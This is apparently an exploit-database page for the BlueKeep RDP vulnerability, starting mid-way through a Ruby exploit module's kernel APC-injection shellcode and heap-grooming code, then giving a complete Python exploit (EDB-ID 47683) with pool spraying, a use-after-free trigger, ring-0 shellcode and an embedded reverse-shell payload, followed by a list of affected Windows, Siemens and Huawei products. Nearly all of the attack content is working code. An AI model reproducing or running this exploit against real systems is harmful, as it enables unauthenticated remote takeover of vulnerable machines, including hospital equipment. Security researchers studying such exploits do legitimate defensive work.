EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) ;====================================== ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock ;====================================== ; check process name xor eax, eax ; HACK to exit earlier if process not found _find_target_process_loop: lea rsi, [rcx+rbx] push rax call calc_hash cmp eax, #{spoolsv_exe_hash} ; "spoolsv.exe" pop rax jz found_target_process ;---------- HACK PROCESS NOT FOUND start ----------- inc rax cmp rax, 0x300 ; HACK not found! jne _next_find_target_process xor ecx, ecx ; clear queueing kapc flag, allow other hijacked system call to run shellcode mov byte [rbp+#{data_queueing_kapc_offset}], cl jmp _r3_to_r0_done ;---------- HACK PROCESS NOT FOUND end ----------- _next_find_target_process: ; next process mov rcx, [rcx+rdi] sub rcx, rdi jmp _find_target_process_loop found_target_process: ; The allocation for userland payload will be in KernelApcRoutine. ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() ;====================================== ; save process PEB for finding CreateThread address in kernel KAPC routine ;====================================== mov edi, #{psgetprocesspeb_hash} ; rcx is EPROCESS. no need to set it. call win_api_direct mov [rbp+#{data_peb_addr_offset}], rax ;====================================== ; iterate ThreadList until KeInsertQueueApc() success ;====================================== ; r15 = nt ; r14 = -(offset of ETHREAD.ThreadListEntry) ; rcx = EPROCESS ; edx = offset of EPROCESS.ThreadListHead lea rsi, [rcx + rdx] ; rsi = ThreadListHead address mov rbx, rsi ; use rbx for iterating thread ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. ; Moreover, alertable thread need to be waiting state which is more difficult to check. ; try queueing APC then check KAPC member is more reliable. _insert_queue_apc_loop: ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front mov rbx, [rbx+8] cmp rsi, rbx je _insert_queue_apc_loop ; skip list head ; find start of ETHREAD address ; set it to rdx to be used for KeInitializeApc() argument too lea rdx, [rbx + r14] ; ETHREAD ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer. ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL. ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer. ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL. ; Teb member is next to Queue member. mov edi, #{psgetthreadteb_hash} call get_proc_addr mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f) cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL je _insert_queue_apc_loop ; KeInitializeApc(PKAPC, ; PKTHREAD, ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), ; PKKERNEL_ROUTINE = kernel_apc_routine, ; PKRUNDOWN_ROUTINE = NULL, ; PKNORMAL_ROUTINE = userland_shellcode, ; KPROCESSOR_MODE = UserMode (1), ; PVOID Context); lea rcx, [rbp+#{data_kapc_offset}] ; PAKC xor r8, r8 ; OriginalApcEnvironment lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine push rbp ; context push 1 ; UserMode push rbp ; userland shellcode (MUST NOT be NULL) push r8 ; NULL sub rsp, 0x20 ; shadow stack mov edi, #{keinitializeapc_hash} call win_api_direct ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); ; SystemArgument1 is second argument in usermode code (rdx) ; SystemArgument2 is third argument in usermode code (r8) lea rcx, [rbp+#{data_kapc_offset}] ;xor edx, edx ; no need to set it here ;xor r8, r8 ; no need to set it here xor r9, r9 mov edi, #{keinsertqueueapc_hash} call win_api_direct add rsp, 0x40 ; if insertion failed, try next thread test eax, eax jz _insert_queue_apc_loop mov rax, [rbp+#{data_kapc_offset}+0x10] ; get KAPC.ApcListEntry ; EPROCESS pointer 8 bytes ; InProgressFlags 1 byte ; KernelApcPending 1 byte ; if success, UserApcPending MUST be 1 cmp byte [rax+0x1a], 1 je _insert_queue_apc_done ; manual remove list without lock mov [rax], rax mov [rax+8], rax jmp _insert_queue_apc_loop _insert_queue_apc_done: ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. _r3_to_r0_done: pop rax pop rbx pop rsi pop rdi pop r14 pop r15 ret ;======================================================================== ; Call function in specific module ; ; All function arguments are passed as calling normal function with extra register arguments ; Extra Arguments: r15 = module pointer ; edi = hash of target function name ;======================================================================== win_api_direct: call get_proc_addr jmp rax ;======================================================================== ; Get function address in specific module ; ; Arguments: r15 = module pointer ; edi = hash of target function name ; Return: eax = offset ;======================================================================== get_proc_addr: ; Save registers push rbx push rcx push rsi ; for using calc_hash ; use rax to find EAT mov eax, dword [r15+60] ; Get PE header e_lfanew mov eax, dword [r15+rax+136] ; Get export tables RVA add rax, r15 push rax ; save EAT mov ecx, dword [rax+24] ; NumberOfFunctions mov ebx, dword [rax+32] ; FunctionNames add rbx, r15 _get_proc_addr_get_next_func: ; When we reach the start of the EAT (we search backwards), we hang or crash dec ecx ; decrement NumberOfFunctions mov esi, dword [rbx+rcx*4] ; Get rva of next module name add rsi, r15 ; Add the modules base address call calc_hash cmp eax, edi ; Compare the hashes jnz _get_proc_addr_get_next_func ; try the next function _get_proc_addr_finish: pop rax ; restore EAT mov ebx, dword [rax+36] add rbx, r15 ; ordinate table virtual address mov cx, word [rbx+rcx*2] ; desired functions ordinal mov ebx, dword [rax+28] ; Get the function addresses table rva add rbx, r15 ; Add the modules base address mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA add rax, r15 ; Add the modules base address to get the functions actual VA pop rsi pop rcx pop rbx ret ;======================================================================== ; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. ; ; Argument: rsi = string to hash ; Clobber: rsi ; Return: eax = hash ;======================================================================== calc_hash: push rdx xor eax, eax cdq _calc_hash_loop: lodsb ; Read in the next byte of the ASCII string ror edx, 13 ; Rotate right our hash value add edx, eax ; Add the next byte of the string test eax, eax ; Stop when found NULL jne _calc_hash_loop xchg edx, eax pop rdx ret ; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. ; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). ; Moreover, there is no lock when calling KernelApcRoutine. ; So KernelApcRoutine can simply lower the IRQL by setting cr8 register. ; ; VOID KernelApcRoutine( ; IN PKAPC Apc, ; IN PKNORMAL_ROUTINE *NormalRoutine, ; IN PVOID *NormalContext, ; IN PVOID *SystemArgument1, ; IN PVOID *SystemArgument2) kernel_kapc_routine: push rbp push rbx push rdi push rsi push r15 mov rbp, [r8] ; *NormalContext is our data area pointer mov r15, [rbp+#{data_nt_kernel_addr_offset}] push rdx pop rsi ; mov rsi, rdx mov rbx, r9 ;====================================== ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) ;====================================== xor eax, eax mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) ; rdx is already address of baseAddr mov [rdx], rax ; baseAddr = 0 mov ecx, eax not rcx ; ProcessHandle = -1 mov r8, rax ; ZeroBits mov al, 0x40 ; eax = 0x40 push rax ; PAGE_EXECUTE_READWRITE = 0x40 shl eax, 6 ; eax = 0x40 << 6 = 0x1000 push rax ; MEM_COMMIT = 0x1000 ; reuse r9 for address of RegionSize mov [r9], rax ; RegionSize = 0x1000 sub rsp, 0x20 ; shadow stack mov edi, #{zwallocatevirtualmemory_hash} call win_api_direct add rsp, 0x30 ; check error test eax, eax jnz _kernel_kapc_routine_exit ;====================================== ; copy userland payload ;====================================== mov rdi, [rsi] ;--------------------------- HACK IN EGG USER --------- push rdi lea rsi, [rel shellcode_start] mov rdi, 0x#{USERMODE_EGG.to_s(16)} _find_user_egg_loop: sub rsi, 0x#{CHUNK_SIZE.to_s(16)} mov rax, [rsi - 8] cmp rax, rdi jnz _find_user_egg_loop _inner_find_user_egg_loop: inc rsi mov rax, [rsi - 8] cmp rax, rdi jnz _inner_find_user_egg_loop pop rdi ;--------------------------- END HACK EGG USER ------------ mov ecx, 0x380 ; fix payload size to 0x380 bytes rep movsb ;====================================== ; find CreateThread address (in kernel32.dll) ;====================================== mov rax, [rbp+#{data_peb_addr_offset}] mov rax, [rax + 0x18] ; PEB->Ldr mov rax, [rax + 0x20] ; InMemoryOrder list ;lea rsi, [rcx + rdx] ; rsi = ThreadListHead address ;mov rbx, rsi ; use rbx for iterating thread _find_kernel32_dll_loop: mov rax, [rax] ; first one always be executable ; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) ; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll) ; offset 0x50 => is name ; offset 0x20 => is dllbase ;cmp word [rax+0x38], 0x40 ;jne _find_kernel32_dll_loop cmp word [rax+0x48], 0x18 jne _find_kernel32_dll_loop mov rdx, [rax+0x50] ; check only "32" because name might be lowercase or uppercase cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00 jnz _find_kernel32_dll_loop ;int3 mov r15, [rax+0x20] mov edi, #{createthread_hash} call get_proc_addr ; save CreateThread address to SystemArgument1 mov [rbx], rax _kernel_kapc_routine_exit: xor ecx, ecx ; clear queueing kapc flag, allow other hijacked system call to run shellcode mov byte [rbp+#{data_queueing_kapc_offset}], cl ; restore IRQL to APC_LEVEL mov cl, 1 mov cr8, rcx pop r15 pop rsi pop rdi pop rbx pop rbp ret userland_start_thread: ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) xchg rdx, rax ; rdx is CreateThread address passed from kernel xor ecx, ecx ; lpThreadAttributes = NULL push rcx ; lpThreadId = NULL push rcx ; dwCreationFlags = 0 mov r9, rcx ; lpParameter = NULL lea r8, [rel userland_payload] ; lpStartAddr mov edx, ecx ; dwStackSize = 0 sub rsp, 0x20 call rax add rsp, 0x30 ret userland_payload: ^ [ KERNELMODE_EGG, assemble_with_fixups(asm) ].pack('<Qa*') end def create_free_trigger(chan_user_id, chan_id) # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20) vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}") # The extra bytes on the end of the body is what causes the bad things to happen body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22 rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF) end def create_exploit_channel_buffer(target_addr) overspray_addr = target_addr + 0x2000 shellcode_vtbl = target_addr + HEADER_SIZE magic_value1 = overspray_addr + 0x810 magic_value2 = overspray_addr + 0x48 magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE # first 0x38 bytes are used by DATA PDU packet # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm [ [ # SystemResourceList (2 pointers, each 8 bytes) # Pointer to OWNER_ENTRY (8 bytes) # ActiveCount (SHORT, 2 bytes) # Flag (WORD, 2 bytes) # Padding (BYTE[4], 4 bytes) x64 only 0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes) 0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes) magic_value2, # OwnerThread (ULONG, 8 bytes) magic_value2, # TableSize (ULONG, 8 bytes) 0x0, # ActiveEntries (DWORD, 4 bytes) 0x0, # ContenttionCount (DWORD, 4 bytes) 0x0, # NumberOfSharedWaiters (DWORD, 4 bytes) 0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes) 0x0, # Reserved2 (PVOID, 8 bytes) x64 only magic_value2, # Address (PVOID, 8 bytes) 0x0, # SpinLock (UINT_PTR, 8 bytes) ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'), [ magic_value2, # SystemResourceList (2 pointers, each 8 bytes) magic_value2, # -------------------- 0x0, # Pointer to OWNER_ENTRY (8 bytes) 0x0, # ActiveCount (SHORT, 2 bytes) 0x0, # Flag (WORD, 2 bytes) 0x0, # Padding (BYTE[4], 4 bytes) x64 only 0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes) 0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes) magic_value2, # OwnerThread (ULONG, 8 bytes) magic_value2, # TableSize (ULONG, 8 bytes) 0x0, # ActiveEntries (DWORD, 4 bytes) 0x0, # ContenttionCount (DWORD, 4 bytes) 0x0, # NumberOfSharedWaiters (DWORD, 4 bytes) 0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes) 0x0, # Reserved2 (PVOID, 8 bytes) x64 only magic_value2, # Address (PVOID, 8 bytes) 0x0, # SpinLock (UINT_PTR, 8 bytes) ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'), [ 0x1F, # ClassOffset (DWORD, 4 bytes) 0x0, # bindStatus (DWORD, 4 bytes) 0x72, # lockCount1 (QWORD, 8 bytes) magic_value3, # connection (QWORD, 8 bytes) shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes) 0x5, # channelClass (DWORD, 4 bytes) "MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes) 0x1F, # channelIndex (DWORD, 4 bytes) magic_value1, # channels (QWORD, 8 bytes) magic_value1, # connChannelsAddr (POINTER, 8 bytes) magic_value1, # list1 (QWORD, 8 bytes) magic_value1, # list1 (QWORD, 8 bytes) magic_value1, # list2 (QWORD, 8 bytes) magic_value1, # list2 (QWORD, 8 bytes) 0x65756c62, # inputBufferLen (DWORD, 4 bytes) 0x7065656b, # inputBufferLen (DWORD, 4 bytes) magic_value1, # connResrouce (QWORD, 8 bytes) 0x65756c62, # lockCount158 (DWORD, 4 bytes) 0x7065656b, # dword15C (DWORD, 4 bytes) ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L') ].join('') end end
Exploit Database EDB-ID : 47683

Date de publication : 2019-11-18 23:00 +00:00
Auteur : 0xeb-bp
EDB Vérifié : No

# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47683.zip import rdp import socket import binascii import time def pool_spray(s, crypter, payload): times = 10000 count = 0 while count < times: count += 1 #print('time through %d' % count) try: s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, payload)) except ConnectionResetError: print('ConnectionResetError pool_spray Aborting') quit() def main(): # change to your target host = '192.168.0.46' port = 3389 times = 4000 count = 0 target = (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(target) crypter = rdp.connect(s) # this address was choosen for the pool spray. it could be be # modified for potentially higher success rates. # in my testing against the win7 VM it is around 80% success # 0x874ff028 shellcode_address = b'\x28\xf0\x4f\x87' # replace buf with your shellcode buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x22\x68" buf += b"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec" buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89" buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66" buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44" buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68" buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68" buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0" buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" # bluekeep_kshellcode_x86.asm # ring 0 to ring 3 shellcode shellcode = b"" shellcode += b"\x60\xe8\x00\x00\x00\x00\x5b\xe8\x26\x00\x00\x00" shellcode += b"\xb9\x76\x01\x00\x00\x0f\x32\x8d\x7b\x3c\x39\xf8" shellcode += b"\x74\x11\x39\x45\x00\x74\x06\x89\x45\x00\x89\x55" shellcode += b"\x08\x89\xf8\x31\xd2\x0f\x30\x61\xf4\xeb\xfd\xc2" shellcode += b"\x24\x00\x8d\xab\x00\x10\x00\x00\xc1\xed\x0c\xc1" shellcode += b"\xe5\x0c\x83\xed\x50\xc3\xb9\x23\x00\x00\x00\x6a" shellcode += b"\x30\x0f\xa1\x8e\xd9\x8e\xc1\x64\x8b\x0d\x40\x00" shellcode += b"\x00\x00\x8b\x61\x04\x51\x9c\x60\xe8\x00\x00\x00" shellcode += b"\x00\x5b\xe8\xcb\xff\xff\xff\x8b\x45\x00\x83\xc0" shellcode += b"\x17\x89\x44\x24\x24\x31\xc0\x99\x42\xf0\x0f\xb0" shellcode += b"\x55\x08\x75\x12\xb9\x76\x01\x00\x00\x99\x8b\x45" shellcode += b"\x00\x0f\x30\xfb\xe8\x04\x00\x00\x00\xfa\x61\x9d" shellcode += b"\xc3\x8b\x45\x00\xc1\xe8\x0c\xc1\xe0\x0c\x2d\x00" shellcode += b"\x10\x00\x00\x66\x81\x38\x4d\x5a\x75\xf4\x89\x45" shellcode += b"\x04\xb8\x78\x7c\xf4\xdb\xe8\xd3\x00\x00\x00\x97" shellcode += b"\xb8\x3f\x5f\x64\x77\x57\xe8\xc7\x00\x00\x00\x29" shellcode += b"\xf8\x89\xc1\x3d\x70\x01\x00\x00\x75\x03\x83\xc0" shellcode += b"\x08\x8d\x58\x1c\x8d\x34\x1f\x64\xa1\x24\x01\x00" shellcode += b"\x00\x8b\x36\x89\xf2\x29\xc2\x81\xfa\x00\x04\x00" shellcode += b"\x00\x77\xf2\x52\xb8\xe1\x14\x01\x17\xe8\x9b\x00" shellcode += b"\x00\x00\x8b\x40\x0a\x8d\x50\x04\x8d\x34\x0f\xe8" shellcode += b"\xcb\x00\x00\x00\x3d\x5a\x6a\xfa\xc1\x74\x0e\x3d" shellcode += b"\xd8\x83\xe0\x3e\x74\x07\x8b\x3c\x17\x29\xd7\xeb" shellcode += b"\xe3\x89\x7d\x0c\x8d\x1c\x1f\x8d\x75\x10\x5f\x8b" shellcode += b"\x5b\x04\xb8\x3e\x4c\xf8\xce\xe8\x61\x00\x00\x00" shellcode += b"\x8b\x40\x0a\x3c\xa0\x77\x02\x2c\x08\x29\xf8\x83" shellcode += b"\x7c\x03\xfc\x00\x74\xe1\x31\xc0\x55\x6a\x01\x55" shellcode += b"\x50\xe8\x00\x00\x00\x00\x81\x04\x24\x92\x00\x00" shellcode += b"\x00\x50\x53\x29\x3c\x24\x56\xb8\xc4\x5c\x19\x6d" shellcode += b"\xe8\x25\x00\x00\x00\x31\xc0\x50\x50\x50\x56\xb8" shellcode += b"\x34\x46\xcc\xaf\xe8\x15\x00\x00\x00\x85\xc0\x74" shellcode += b"\xaa\x8b\x45\x1c\x80\x78\x0e\x01\x74\x07\x89\x00" shellcode += b"\x89\x40\x04\xeb\x9a\xc3\xe8\x02\x00\x00\x00\xff" shellcode += b"\xe0\x60\x8b\x6d\x04\x97\x8b\x45\x3c\x8b\x54\x05" shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\x49" shellcode += b"\x8b\x34\x8b\x01\xee\xe8\x1d\x00\x00\x00\x39\xf8" shellcode += b"\x75\xf1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24" shellcode += b"\x1c\x61\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01" shellcode += b"\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x58\x89\x44\x24" shellcode += b"\x10\x58\x59\x58\x5a\x60\x52\x51\x8b\x28\x31\xc0" shellcode += b"\x64\xa2\x24\x00\x00\x00\x99\xb0\x40\x50\xc1\xe0" shellcode += b"\x06\x50\x54\x52\x89\x11\x51\x4a\x52\xb8\xea\x99" shellcode += b"\x6e\x57\xe8\x7b\xff\xff\xff\x85\xc0\x75\x4f\x58" shellcode += b"\x8b\x38\xe8\x00\x00\x00\x00\x5e\x83\xc6\x55\xb9" shellcode += b"\x00\x04\x00\x00\xf3\xa4\x8b\x45\x0c\x50\xb8\x48" shellcode += b"\xb8\x18\xb8\xe8\x56\xff\xff\xff\x8b\x40\x0c\x8b" shellcode += b"\x40\x14\x8b\x00\x66\x83\x78\x24\x18\x75\xf7\x8b" shellcode += b"\x50\x28\x81\x7a\x0c\x33\x00\x32\x00\x75\xeb\x8b" shellcode += b"\x58\x10\x89\x5d\x04\xb8\x5e\x51\x5e\x83\xe8\x32" shellcode += b"\xff\xff\xff\x59\x89\x01\x31\xc0\x88\x45\x08\x40" shellcode += b"\x64\xa2\x24\x00\x00\x00\x61\xc3\x5a\x58\x58\x59" shellcode += b"\x51\x51\x51\xe8\x00\x00\x00\x00\x83\x04\x24\x09" shellcode += b"\x51\x51\x52\xff\xe0\x31\xc0" shellcode += buf print('shellcode len: %d' % len(shellcode)) payload_size = 1600 payload = b'\x2c\xf0\x4f\x87' + shellcode payload = payload + b'\x5a' * (payload_size - len(payload)) print('[+] spraying pool') pool_spray(s, crypter, payload) fake_obj_size = 168 call_offset = 108 fake_obj = b'\x00'*call_offset + shellcode_address fake_obj = fake_obj + b'\x00' * (fake_obj_size - len(fake_obj)) time.sleep(.5) print('[+] sending free') s.sendall(rdp.free_32(crypter)) time.sleep(.15) print('[+] allocating fake objects') while count < times: count += 1 #print('time through %d' % count) try: s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, fake_obj)) except ConnectionResetError: s.close() s.close() if __name__== "__main__": main()

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Configuraton 0

Siemens>>Axiom_multix_m_firmware >> Version *

Siemens>>Axiom_multix_m >> Version -

Configuraton 0

Siemens>>Axiom_vertix_md_trauma_firmware >> Version *

Siemens>>Axiom_vertix_md_trauma >> Version -

Configuraton 0

Siemens>>Axiom_vertix_solitaire_m_firmware >> Version *

Siemens>>Axiom_vertix_solitaire_m >> Version -

Configuraton 0

Siemens>>Mobilett_xp_digital_firmware >> Version *

Siemens>>Mobilett_xp_digital >> Version -

Configuraton 0

Siemens>>Multix_pro_acss_p_firmware >> Version *

Siemens>>Multix_pro_acss_p >> Version -

Configuraton 0

Siemens>>Multix_pro_p_firmware >> Version *

Siemens>>Multix_pro_p >> Version -

Configuraton 0

Siemens>>Multix_pro_firmware >> Version *

Siemens>>Multix_pro >> Version -

Configuraton 0

Siemens>>Multix_pro_acss_firmware >> Version *

Siemens>>Multix_pro_acss >> Version -

Configuraton 0

Siemens>>Multix_pro_navy_firmware >> Version *

Siemens>>Multix_pro_navy >> Version -

Configuraton 0

Siemens>>Multix_swing_firmware >> Version *

Siemens>>Multix_swing >> Version -

Configuraton 0

Siemens>>Multix_top_firmware >> Version *

Siemens>>Multix_top >> Version -

Configuraton 0

Siemens>>Multix_top_acss_firmware >> Version *

Siemens>>Multix_top_acss >> Version -

Configuraton 0

Siemens>>Multix_top_p_firmware >> Version *

Siemens>>Multix_top_p >> Version -

Configuraton 0

Siemens>>Multix_top_acss_p_firmware >> Version *

Siemens>>Multix_top_acss_p >> Version -

Configuraton 0

Siemens>>Vertix_solitaire_firmware >> Version *

Siemens>>Vertix_solitaire >> Version -

Configuraton 0

Siemens>>Atellica_solution_firmware >> Version *

Siemens>>Atellica_solution >> Version -

Configuraton 0

Siemens>>Aptio_firmware >> Version *

Siemens>>Aptio >> Version -

Configuraton 0

Siemens>>Streamlab_firmware >> Version *

Siemens>>Streamlab >> Version -

Configuraton 0

Siemens>>Centralink_firmware >> Version *

Siemens>>Centralink >> Version -

Configuraton 0

Siemens>>Viva_e_firmware >> Version *

Siemens>>Viva_e >> Version -

Configuraton 0

Siemens>>Viva_twin_firmware >> Version *

Siemens>>Viva_twin >> Version -

Configuraton 0

Siemens>>Syngo_lab_process_manager >> Version *

Configuraton 0

Siemens>>Rapidpoint_500_firmware >> Version To (including) 2.3.2

Siemens>>Rapidpoint_500 >> Version -

Configuraton 0

Siemens>>Lantis_firmware >> Version *

Siemens>>Lantis >> Version -

Configuraton 0

Huawei>>Agile_controller-campus_firmware >> Version v100r002c00

Huawei>>Agile_controller-campus_firmware >> Version v100r002c10

Huawei>>Agile_controller-campus >> Version -

Configuraton 0

Huawei>>Bh620_v2_firmware >> Version v100r002c00

Huawei>>Bh620_v2 >> Version -

Configuraton 0

Huawei>>Bh621_v2_firmware >> Version v100r002c00

Huawei>>Bh621_v2 >> Version -

Configuraton 0

Huawei>>Bh622_v2_firmware >> Version v100r001c00

Huawei>>Bh622_v2 >> Version -

Configuraton 0

Huawei>>Bh640_v2_firmware >> Version v100r002c00

Huawei>>Bh640_v2 >> Version -

Configuraton 0

Huawei>>Ch121_firmware >> Version v100r001c00

Huawei>>Ch121 >> Version -

Configuraton 0

Huawei>>Ch140_firmware >> Version v100r001c00

Huawei>>Ch140 >> Version -

Configuraton 0

Huawei>>Ch220_firmware >> Version v100r001c00

Huawei>>Ch220 >> Version -

Configuraton 0

Huawei>>Ch221_firmware >> Version v100r001c00

Huawei>>Ch221 >> Version -

Configuraton 0

Huawei>>Ch222_firmware >> Version v100r002c00

Huawei>>Ch222 >> Version -

Configuraton 0

Huawei>>Ch240_firmware >> Version v100r001c00

Huawei>>Ch240 >> Version -

Configuraton 0

Huawei>>Ch242_firmware >> Version v100r001c00

Huawei>>Ch242 >> Version -

Configuraton 0

Huawei>>Ch242_v3_firmware >> Version v100r001c00

Huawei>>Ch242_v3 >> Version -

Configuraton 0

Huawei>>E6000_firmware >> Version v100r002c00

Huawei>>E6000 >> Version -

Configuraton 0

Huawei>>E6000_chassis_firmware >> Version v100r001c00

Huawei>>E6000_chassis >> Version -

Configuraton 0

Huawei>>Gtsoftx3000_firmware >> Version v200r001c01spc100

Huawei>>Gtsoftx3000_firmware >> Version v200r002c00spc300

Huawei>>Gtsoftx3000_firmware >> Version v200r002c10spc100

Huawei>>Gtsoftx3000 >> Version -

Configuraton 0

Huawei>>Oceanstor_18500_firmware >> Version v100r001c30spc300

Huawei>>Oceanstor_18500 >> Version -

Configuraton 0

Huawei>>Oceanstor_18800_firmware >> Version v100r001c30spc300

Huawei>>Oceanstor_18800 >> Version -

Configuraton 0

Huawei>>Oceanstor_18800f_firmware >> Version v100r001c30spc300

Huawei>>Oceanstor_18800f >> Version -

Configuraton 0

Huawei>>Oceanstor_hvs85t_firmware >> Version v100r001c00

Huawei>>Oceanstor_hvs85t_firmware >> Version v100r001c30spc200

Huawei>>Oceanstor_hvs85t >> Version -

Configuraton 0

Huawei>>Oceanstor_hvs88t_firmware >> Version v100r001c00

Huawei>>Oceanstor_hvs88t_firmware >> Version v100r001c30spc200

Huawei>>Oceanstor_hvs88t >> Version -

Configuraton 0

Huawei>>Rh1288_v2_firmware >> Version v100r002c00

Huawei>>Rh1288_v2 >> Version -

Configuraton 0

Huawei>>Rh1288a_v2_firmware >> Version v100r002c00

Huawei>>Rh1288a_v2 >> Version -

Configuraton 0

Huawei>>Rh2265_v2_firmware >> Version v100r002c00

Huawei>>Rh2265_v2 >> Version -

Configuraton 0

Huawei>>Rh2268_v2_firmware >> Version v100r002c00

Huawei>>Rh2268_v2 >> Version -

Configuraton 0

Huawei>>Rh2285_v2_firmware >> Version v100r002c00

Huawei>>Rh2285_v2 >> Version -

Configuraton 0

Huawei>>Rh2285h_v2_firmware >> Version v100r002c00

Huawei>>Rh2285h_v2 >> Version -

Configuraton 0

Huawei>>Rh2288_v2_firmware >> Version v100r002c00

Huawei>>Rh2288_v2 >> Version -

Configuraton 0

Huawei>>Rh2288a_v2_firmware >> Version v100r002c00

Huawei>>Rh2288a_v2 >> Version -

Configuraton 0

Huawei>>Rh2288e_v2_firmware >> Version v100r002c00

Huawei>>Rh2288e_v2 >> Version -

Configuraton 0

Huawei>>Rh2288h_v2_firmware >> Version v100r002c00

Huawei>>Rh2288h_v2 >> Version -

Configuraton 0

Huawei>>Rh2485_v2_firmware >> Version v100r002c00

Huawei>>Rh2485_v2 >> Version -

Configuraton 0

Huawei>>Rh5885_v2_firmware >> Version v100r001c00

